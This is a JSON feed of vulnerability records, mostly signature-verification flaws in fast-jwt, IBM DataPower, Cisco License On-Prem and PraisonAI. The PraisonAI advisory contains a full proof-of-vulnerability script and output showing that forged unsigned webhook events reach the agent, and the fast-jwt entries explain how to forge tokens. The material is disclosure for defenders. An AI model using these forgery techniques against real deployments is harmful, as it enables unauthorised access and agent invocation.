{"success":true,"data":{"threats":[{"id":"82e95429-084c-4acd-99ac-9fdc8c1aafed","slug":"cve-2026-107724","externalId":"CVE-2026-107724","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107724 — fast-jwt provides fast JSON Web Token (JWT) implementation.","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. In 6.2.4, fast-jwt can classify raw serialized public JWK or JWKS JSON as an HMAC secret because src/crypto.js performDetectPublicKeyAlgorithms treats non-PEM strings as symmetric key material. If HS256 is explicitly allowed or inferred, an attacker who knows the exact serialized public-key bytes can use those bytes as an HMAC key and create a token containing arbitrary claims that createVerifier accepts. Serialization ordering or whitespace differences can prevent exploitation, and applications using supported PEM keys with an asymmetric-only algorithm allowlist are not affected. This issue is fixed in version 6.3.0.","cveId":"CVE-2026-107724","cvssScore":7.4,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-347"],"tags":["nvd","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/nearform/fast-jwt/commit/10f9591349199ed2ab9fa1748ce92cdca697f6cf","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/nearform/fast-jwt/pull/636","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/nearform/fast-jwt/releases/tag/v6.3.0","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/nearform/fast-jwt/security/advisories/GHSA-g3jj-5cmm-3hxx","type":"advisory","title":"security-advisories@github.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T22:17:28.800Z","addedAt":"2026-10-08T23:06:40.181Z","updatedAt":"2026-10-08T23:06:40.181Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107724","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107724","note":"authoritative record"}]},{"id":"479e42c1-b22e-4a47-a4c4-f45ab30bce74","slug":"cve-2026-107722","externalId":"CVE-2026-107722","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107722 — fast-jwt provides fast JSON Web Token (JWT) implementation.","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0.","cveId":"CVE-2026-107722","cvssScore":9.8,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","severity":"critical","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-347"],"tags":["nvd","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/nearform/fast-jwt/pull/632","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/nearform/fast-jwt/releases/tag/v6.3.0","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4","type":"advisory","title":"security-advisories@github.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T22:17:28.447Z","addedAt":"2026-10-08T23:06:40.155Z","updatedAt":"2026-10-08T23:06:40.155Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107722","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107722","note":"authoritative record"}]},{"id":"8c4a5df4-9cf8-4918-89f8-e08af8fcb9e6","slug":"cve-2026-107720","externalId":"CVE-2026-107720","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107720 — fast-jwt provides fast JSON Web Token (JWT) implementation.","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.","cveId":"CVE-2026-107720","cvssScore":7.4,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-20","CWE-347"],"tags":["nvd","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/nearform/fast-jwt/commit/e22a151e83bf6d5e54e281216982d204d5665534","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/nearform/fast-jwt/pull/649","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/nearform/fast-jwt/releases/tag/v6.3.1","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/nearform/fast-jwt/security/advisories/GHSA-8wpc-h4q6-8fxv","type":"advisory","title":"security-advisories@github.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T22:17:28.090Z","addedAt":"2026-10-08T23:06:40.127Z","updatedAt":"2026-10-08T23:06:40.127Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107720","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107720","note":"authoritative record"}]},{"id":"6112a831-c338-45b4-8b15-c713f8cdedf6","slug":"cve-2026-14999","externalId":"CVE-2026-14999","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-14999 — IBM DataPower Gateway 10.5.0.0 through 10.5.0.22, 10.6.1 through 10.6.6, 10.6.0.0 through 10.6.0.10, and 11.0.0.0 through 11.0.0.2 could allow a re…","description":"IBM DataPower Gateway 10.5.0.0 through 10.5.0.22, 10.6.1 through 10.6.6, 10.6.0.0 through 10.6.0.10, and 11.0.0.0 through 11.0.0.2 could allow a remote attacker to bypass authentication by forging valid JSON Web Signatures due to improper verification of cryptographic signatures.","cveId":"CVE-2026-14999","cvssScore":7.4,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-347"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://www.ibm.com/support/pages/node/7289775","type":"advisory","title":"psirt@us.ibm.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T15:17:50.360Z","addedAt":"2026-10-08T16:39:35.964Z","updatedAt":"2026-10-08T21:05:50.555Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-14999","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-14999","note":"authoritative record"}]},{"id":"9f2427c6-8355-40fa-bbe0-b7713500bd10","slug":"cve-2026-14497","externalId":"CVE-2026-14497","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-14497 — IBM DataPower Gateway 10.5.0.0 through 10.5.0.22, 10.6.1 through 10.6.6, 10.6.0.0 through 10.6.0.10, and 11.0.0.0 through 11.0.0.2 could allow a re…","description":"IBM DataPower Gateway 10.5.0.0 through 10.5.0.22, 10.6.1 through 10.6.6, 10.6.0.0 through 10.6.0.10, and 11.0.0.0 through 11.0.0.2 could allow a remote authenticated attacker to bypass security restrictions due to improper verification of cryptographic signatures.","cveId":"CVE-2026-14497","cvssScore":8.1,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-347"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://www.ibm.com/support/pages/node/7289775","type":"advisory","title":"psirt@us.ibm.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T15:17:49.013Z","addedAt":"2026-10-08T16:39:35.894Z","updatedAt":"2026-10-08T21:05:50.327Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-14497","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-14497","note":"authoritative record"}]},{"id":"622c2d4c-c88e-4aaa-824b-97549af0a084","slug":"cve-2026-76482","externalId":"CVE-2026-76482","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-76482 — As part of Cisco's ongoing commitment to proactive security and product quality, the engineering team for Cisco License On-Prem, formerly Cisco Sma…","description":"As part of Cisco's ongoing commitment to proactive security and product quality, the engineering team for Cisco License On-Prem, formerly Cisco Smart Software Manager On-Prem (SSM On-Prem), has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76482 are related to issues with improper input verification that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-347.","cveId":"CVE-2026-76482","cvssScore":10,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","severity":"critical","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-347"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-ssm-Ph77wdhf","type":"advisory","title":"psirt@cisco.com"}],"epssScore":0.00201,"epssPercentile":0.09158,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T17:17:00.773Z","addedAt":"2026-10-07T18:39:31.512Z","updatedAt":"2026-10-08T21:05:42.985Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76482","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-76482","note":"authoritative record"}]},{"id":"81f341bf-d6d8-4d76-b1ac-74bb5f469e7e","slug":"cve-2026-61436","externalId":"GHSA-7c92-x8vg-4258","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents","description":"# AgentMail webhook mode accepts forged unsigned message.received events and invokes agents\n\n## Summary\n\n`praisonai` AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled `message.received` JSON without verifying AgentMail's Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path.\n\n## Technical Details\n\nThe affected boundary is webhook authenticity. AgentMail's webhook verification documentation says AgentMail delivers webhooks through Svix and includes `svix-id`, `svix-timestamp`, and `svix-signature` headers. Receivers are expected to verify the raw request body with the endpoint signing secret, commonly stored as `AGENTMAIL_WEBHOOK_SECRET`, before trusting the event body. AgentMail's documented verified payload examples route on `event_type`; the forged payload below intentionally uses PraisonAI's accepted handler shape, `type` plus `data`, because that is the shape `_handle_email_webhook()` accepts before any signature verification.\n\n`src/praisonai/praisonai/bots/agentmail.py` exposes webhook mode through `AgentMailBot(mode=...)` or a `BotConfig` whose `mode` is `webhook`. In `_start_webhook_mode()`, PraisonAI registers `POST {webhook_path}` and binds the aiohttp site to `0.0.0.0` on the configured webhook port. When `config.webhook_url` is set, the same method calls `client.webhooks.create(url=..., event_types=[\"message.received\"], inbox_ids=...)`, but it does not store or use the returned webhook secret.\n\nThe handler then trusts the parsed JSON body. `_handle_email_webhook()` calls `await request.json()`, reads `body.get(\"type\", \"\")`, and if the value is `message.received`, schedules `_process_webhook_payload(body)` and returns `200 OK`. It does not read the raw body, inspect request headers, verify `svix-id`, verify `svix-timestamp`, verify `svix-signature`, or check any webhook secret before scheduling the event.\n\n`_process_webhook_payload()` builds a `BotMessage` from attacker-controlled JSON fields: `data.message_id`, `data.from`/`data.from_`, `data.subject`, `data.extracted_text`/`data.text`, `data.thread_id`, and `data.in_reply_to`. It then calls `_handle_message(message)`. `_handle_message()` fires message hooks, calls `self._session.chat(self._agent, sender_id, body, ...)`, and, when the agent returns a response, attempts to reply to the attacker-controlled sender address through AgentMail.\n\nThis report is scoped to AgentMail webhook mode. It does not claim that the default polling path or WebSocket path is affected. The WebSocket path receives typed `MessageReceivedEvent` instances from the AgentMail SDK connection; the webhook path exposes a public HTTP receiver and therefore needs an independent signature check before parsing/trusting the event.\n\n## PoV\n\nthe PoV calls the webhook handler directly with fake request objects. It does not bind a port, contact AgentMail, send email, or use live credentials.\n\nThe forged JSON uses PraisonAI's accepted webhook-handler shape: a top-level `type` field with value `message.received` and a nested `data` object. This is not presented as the canonical signed AgentMail payload shape; AgentMail's verification documentation shows verified messages using `event_type` after Svix verification. The issue is that PraisonAI accepts the unauthenticated `type`/`data` body and dispatches it before verifying that the request came from AgentMail.\n\nEssential PoV excerpt:\n\n```python\nclass FakeRequest:\n    def __init__(self, body, headers=None, json_error=False):\n        self._body = body\n        self.headers = headers or {}\n        self._json_error = json_error\n\n    async def json(self):\n        if self._json_error:\n            raise ValueError(\"invalid json\")\n        return self._body\n\nbot = AgentMailBot(\n    token=\"am_local_test\",\n    agent=object(),\n    inbox_id=\"assistant@example.test\",\n    config=BotConfig(mode=\"webhook\", webhook_path=\"/webhook\"),\n)\nbot._inbox_id = \"assistant@example.test\"\nbot._email_address = \"assistant@example.test\"\nbot._config = {}\nbot._session = RecordingSession()\n\npayload = {\n    \"type\": \"message.received\",\n    \"data\": {\n        \"message_id\": \"msg-forged-invalid-svix\",\n        \"from\": \"attacker@example.test\",\n        \"subject\": \"Forged invalid signature\",\n        \"extracted_text\": \"invalid signature forged body\",\n    },\n}\nheaders = {\n    \"svix-id\": \"msg_bad\",\n    \"svix-timestamp\": \"1\",\n    \"svix-signature\": \"v1,definitely-invalid\",\n}\n\nresponse = await bot._handle_email_webhook(FakeRequest(payload, headers=headers))\nawait asyncio.sleep(0)\n```\n\nExpected vulnerable behavior: the response status is `200`, the invalid Svix signature is ignored, and the fake session records one agent call with `sender_id` set to `attacker@example.test` and `body` set to `invalid signature forged body`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n```\n\nRun against a local checkout of current head:\n\n```fish\npython3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI --label current-head-846568c\n```\n\nDecisive current-head output:\n\n```json\n{\n  \"label\": \"current-head-846568c\",\n  \"vulnerable\": true,\n  \"cases\": {\n    \"forged_unsigned_message\": {\n      \"http_status\": 200,\n      \"session_delta\": 1,\n      \"send_delta\": 1\n    },\n    \"forged_invalid_svix_signature\": {\n      \"http_status\": 200,\n      \"session_delta\": 1,\n      \"send_delta\": 1\n    },\n    \"invalid_json_control\": {\n      \"http_status\": 400,\n      \"session_delta\": 0\n    },\n    \"non_message_event_control\": {\n      \"http_status\": 200,\n      \"session_delta\": 0\n    },\n    \"duplicate_message_control\": {\n      \"http_status\": 200,\n      \"session_delta\": 0\n    }\n  }\n}\n```\n\nRun against the latest release tag observed during testing:\n\n```fish\npython3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47\n```\n\nDecisive `v4.6.62` output:\n\n```json\n{\n  \"label\": \"v4.6.62-2a855c47\",\n  \"vulnerable\": true,\n  \"cases\": {\n    \"forged_unsigned_message\": {\n      \"http_status\": 200,\n      \"session_delta\": 1,\n      \"send_delta\": 1\n    },\n    \"forged_invalid_svix_signature\": {\n      \"http_status\": 200,\n      \"session_delta\": 1,\n      \"send_delta\": 1\n    },\n    \"invalid_json_control\": {\n      \"http_status\": 400,\n      \"session_delta\": 0\n    },\n    \"non_message_event_control\": {\n      \"http_status\": 200,\n      \"session_delta\": 0\n    },\n    \"duplicate_message_control\": {\n      \"http_status\": 200,\n      \"session_delta\": 0\n    }\n  }\n}\n```\n\nInterpretation: forged unsigned webhook JSON and forged webhook JSON with invalid Svix headers both return `200` and reach the agent session once. Invalid JSON returns `400` without an agent call, non-`message.received` events are ignored, and repeated `message_id` values are deduplicated. The controls prove the handler is executing the intended branch and that the issue is specifically missing webhook authenticity verification before the agent dispatch branch.\n\n## Impact\n\nIf a PraisonAI operator exposes AgentMail webhook mode, any network caller who can reach the webhook URL can spoof incoming AgentMail email events and invoke the configured PraisonAI agent as an arbitrary sender. The attacker controls the message id, sender address, subject, body text, and thread metadata consumed by the bot.\n\nThe concrete boundary crossed is unauthenticated remote agent invocation through forged AgentMail webhook events. Downstream impact depends on the deployed agent and tools. PraisonAI bot defaults can include model calls and safe auto-approved tools, so this can cause unauthorized model/API usage, forged workflow input, replies under the AgentMail inbox identity, and confidentiality or integrity impact when the configured agent has access to sensitive context or tools.\n\nThis report does not claim arbitrary code execution by default, compromise of AgentMail itself, or bypass of the default poll mode.\n\nSuggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L` (8.6). Suggested CWEs: `CWE-347` Improper Verification of Cryptographic Signature, `CWE-306` Missing Authentication for Critical Function, and `CWE-287` Improper Authentication.\n\n## Suggested Fix\n\nFail closed for AgentMail webhook mode unless a webhook signing secret is configured. Store the AgentMail webhook secret returned by `client.webhooks.create(...)`, or require an explicit `agentmail_webhook_secret`/`AGENTMAIL_WEBHOOK_SECRET` configuration value for existing webhook endpoints.\n\nVerify the raw request body with the official Svix verifier before JSON parsing is trusted. Reject missing, malformed, stale, or invalid `svix-id`, `svix-timestamp`, and `svix-signature` headers before scheduling `_process_webhook_payload()`. Do not use `await request.json()` as the verification input; signature verification needs the exact raw body bytes.\n\nSuggested regression tests:\n\n- webhook mode without a configured signing secret refuses startup or returns `401`/`400` for `message.received`;\n- missing Svix headers do not call `_process_webhook_payload()`;\n- invalid Svix signature does not call `_process_webhook_payload()`;\n- stale timestamp does not call `_process_webhook_payload()`;\n- valid Svix signature for the raw body reaches `_process_webhook_payload()`;\n- duplicate `message_id` behavior remains intact after verification succeeds.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai`.\n\nLatest PyPI version observed during testing: `4.6.62`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected. Latest release tag `v4.6.62` at commit `2a855c470077c7d2e2479a575f7ef7f548d51c33` is affected.\n\nSampled tag sweep:\n\n```text\nv4.4.12   agentmail_absent\nv4.5.16   agentmail_absent\nv4.5.128  present_unsigned_webhook\nv4.6.33   present_unsigned_webhook\nv4.6.58   present_unsigned_webhook\nv4.6.59   present_unsigned_webhook\nv4.6.60   present_unsigned_webhook\nv4.6.62   present_unsigned_webhook\ncurrent   present_unsigned_webhook\n```\n\nConservative suggested affected range: AgentMail webhook-bearing `praisonai` releases at least `>= 4.5.128, <= 4.6.62`, plus current head. The component was absent in sampled tags `v4.4.12` and `v4.5.16`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI advisories were checked for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate was found for AgentMail webhook mode accepting unsigned or invalid-Svix `message.received` events and dispatching them into `AgentMailBot._handle_message()`.\n\nNearby advisories are distinct:\n\n- `GHSA-fc26-m9pf-v56q`, \"PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing\", covers the Linear integration and a fail-open missing-secret condition. This report covers AgentMail webhook mode, a different integration, different handler, different provider signature scheme, and no visible webhook-secret validation path.\n- `GHSA-x92v-rpx6-p6cw`, \"Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp & Linear bots)\", covers WhatsApp/Linear webhook verification fail-open behavior. This report covers AgentMail and Svix-backed AgentMail webhook delivery.\n- `GHSA-qvpf-j64c-jmhr`, \"PraisonAI Slack app_mention bypasses configured user/channel authorization\", covers Slack event authorization, not AgentMail webhook authenticity.\n- `GHSA-vg22-4gmj-prxw` / `CVE-2026-47391` cover unauthenticated A2A `message/send`, not AgentMail webhooks.\n- `GHSA-86qc-r5v2-v6x6` covers the call server token gap, not AgentMail webhook delivery.\n\nPublic Platform authorization advisories cover Platform RBAC/IDOR classes such as object ownership and workspace authorization. They do not cover AgentMail webhook authenticity or the AgentMail `message.received` dispatch path.\n\n## References\n\n- AgentMail webhook verification documentation: https://www.agentmail.to/docs/webhook-verification\n- AgentMail create webhook API reference: https://www.agentmail.to/docs/api-reference/webhooks/create\n- PraisonAI LinearBot webhook advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fc26-m9pf-v56q\n- PraisonAI WhatsApp/Linear webhook fail-open advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x92v-rpx6-p6cw\n- PraisonAI Slack authorization advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qvpf-j64c-jmhr\n- MITRE CWE-347: https://cwe.mitre.org/data/definitions/347.html\n- MITRE CWE-306: https://cwe.mitre.org/data/definitions/306.html\n- MITRE CWE-287: https://cwe.mitre.org/data/definitions/287.html\n\n## Appendix A - Full PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI AgentMail webhook authenticity.\n\nThe script calls the AgentMail webhook handler directly with fake aiohttp\nrequests. It does not bind a port, contact AgentMail, or send email.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport sys\nimport types\nfrom pathlib import Path\nfrom typing import Any\n\n\nclass FakeResponse:\n    def __init__(self, status: int = 200, text: str = \"\", content_type: str | None = None):\n        self.status = status\n        self.text = text\n        self.content_type = content_type\n\n\nclass FakeRequest:\n    def __init__(self, body: dict[str, Any] | None, headers: dict[str, str] | None = None, json_error: bool = False):\n        self._body = body\n        self.headers = headers or {}\n        self._json_error = json_error\n\n    async def json(self) -> dict[str, Any]:\n        if self._json_error:\n            raise ValueError(\"invalid json\")\n        return self._body or {}\n\n\nclass RecordingSession:\n    def __init__(self) -> None:\n        self.calls: list[dict[str, Any]] = []\n\n    async def chat(self, agent: object, sender_id: str, body: str, **kwargs: Any) -> str:\n        self.calls.append(\n            {\n                \"sender_id\": sender_id,\n                \"body\": body,\n                \"chat_id\": kwargs.get(\"chat_id\"),\n                \"message_id\": kwargs.get(\"message_id\"),\n                \"account\": kwargs.get(\"account\"),\n            }\n        )\n        return \"local agent response\"\n\n\ndef install_fake_aiohttp() -> None:\n    web = types.SimpleNamespace(Response=FakeResponse)\n    sys.modules[\"aiohttp\"] = types.SimpleNamespace(web=web)\n\n\ndef configure_import_path(repo: Path) -> None:\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n\n\nasync def run_case(bot: Any, request: FakeRequest, sleep_ticks: int = 2) -> dict[str, Any]:\n    before_calls = len(bot._session.calls)\n    before_sends = len(bot._sent_messages)\n    response = await bot._handle_email_webhook(request)\n    for _ in range(sleep_ticks):\n        await asyncio.sleep(0)\n    return {\n        \"http_status\": response.status,\n        \"session_delta\": len(bot._session.calls) - before_calls,\n        \"send_delta\": len(bot._sent_messages) - before_sends,\n        \"session_calls\": bot._session.calls[before_calls:],\n        \"sent_messages\": bot._sent_messages[before_sends:],\n    }\n\n\nasync def main_async(repo: Path, label: str) -> dict[str, Any]:\n    install_fake_aiohttp()\n    configure_import_path(repo)\n\n    from praisonai.bots.agentmail import AgentMailBot\n    from praisonaiagents.bots import BotConfig\n\n    bot = AgentMailBot(\n        token=\"am_local_test\",\n        agent=object(),\n        inbox_id=\"assistant@example.test\",\n        config=BotConfig(mode=\"webhook\", webhook_path=\"/webhook\"),\n    )\n    bot._inbox_id = \"assistant@example.test\"\n    bot._email_address = \"assistant@example.test\"\n    bot._config = {}\n    bot._session = RecordingSession()\n    bot._sent_messages = []\n\n    async def fake_send_message(**kwargs: Any) -> None:\n        bot._sent_messages.append(kwargs)\n\n    bot.send_message = fake_send_message\n\n    invalid_svix_headers = {\n        \"svix-id\": \"msg_bad\",\n        \"svix-timestamp\": \"1\",\n        \"svix-signature\": \"v1,definitely-invalid\",\n    }\n\n    cases: dict[str, Any] = {}\n    cases[\"forged_unsigned_message\"] = await run_case(\n        bot,\n        FakeRequest(\n            {\n                \"type\": \"message.received\",\n                \"data\": {\n                    \"message_id\": \"msg-forged-unsigned\",\n                    \"from\": \"attacker@example.test\",\n                    \"subject\": \"Forged unsigned message\",\n                    \"extracted_text\": \"unsigned forged body\",\n                },\n            }\n        ),\n    )\n    cases[\"forged_invalid_svix_signature\"] = await run_case(\n        bot,\n        FakeRequest(\n            {\n                \"type\": \"message.received\",\n                \"data\": {\n                    \"message_id\": \"msg-forged-invalid-svix\",\n                    \"from\": \"attacker@example.test\",\n                    \"subject\": \"Forged invalid signature\",\n                    \"extracted_text\": \"invalid signature forged body\",\n                },\n            },\n            headers=invalid_svix_headers,\n        ),\n    )\n    cases[\"invalid_json_control\"] = await run_case(bot, FakeRequest(None, json_error=True))\n    cases[\"non_message_event_control\"] = await run_case(\n        bot,\n        FakeRequest(\n            {\n                \"type\": \"domain.verified\",\n                \"data\": {\n                    \"message_id\": \"msg-non-message\",\n                    \"from\": \"attacker@example.test\",\n                    \"extracted_text\": \"should not be processed\",\n                },\n            }\n        ),\n    )\n    cases[\"duplicate_message_control\"] = await run_case(\n        bot,\n        FakeRequest(\n            {\n                \"type\": \"message.received\",\n                \"data\": {\n                    \"message_id\": \"msg-forged-invalid-svix\",\n                    \"from\": \"attacker@example.test\",\n                    \"subject\": \"Duplicate\",\n                    \"extracted_text\": \"duplicate should not create a second call\",\n                },\n            },\n            headers=invalid_svix_headers,\n        ),\n    )\n\n    vulnerable = (\n        cases[\"forged_unsigned_message\"][\"http_status\"] == 200\n        and cases[\"forged_unsigned_message\"][\"session_delta\"] == 1\n        and cases[\"forged_invalid_svix_signature\"][\"http_status\"] == 200\n        and cases[\"forged_invalid_svix_signature\"][\"session_delta\"] == 1\n        and cases[\"invalid_json_control\"][\"http_status\"] == 400\n        and cases[\"invalid_json_control\"][\"session_delta\"] == 0\n        and cases[\"non_message_event_control\"][\"session_delta\"] == 0\n        and cases[\"duplicate_message_control\"][\"session_delta\"] == 0\n    )\n\n    return {\n        \"label\": label,\n        \"repo\": str(repo),\n        \"vulnerable\": vulnerable,\n        \"finding\": \"AgentMail webhook handler accepts unsigned and invalid-Svix message.received events and dispatches them to the agent session\",\n        \"cases\": cases,\n    }\n\n\ndef main() -> int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--repo\", type=Path, required=True)\n    parser.add_argument(\"--label\", default=\"current-head\")\n    args = parser.parse_args()\n    result = asyncio.run(main_async(args.repo.resolve(), args.label))\n    print(json.dumps(result, indent=2, sort_keys=True))\n    return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```","cveId":"CVE-2026-61436","cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","severity":"high","vendor":"PyPI","product":"praisonai","affectedVersions":["pkg:pypi/praisonai < 4.6.78"],"cwes":["CWE-287","CWE-306","CWE-347"],"tags":["osv","osv:ghsa-7c92-x8vg-4258","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-7c92-x8vg-4258","type":"advisory","title":"OSV GHSA-7c92-x8vg-4258"},{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7c92-x8vg-4258","type":"other","title":"OSV web"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61436","type":"advisory","title":"OSV advisory"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62172","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/2a855c470077c7d2e2479a575f7ef7f548d51c33","type":"other","title":"OSV web"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753","type":"other","title":"OSV 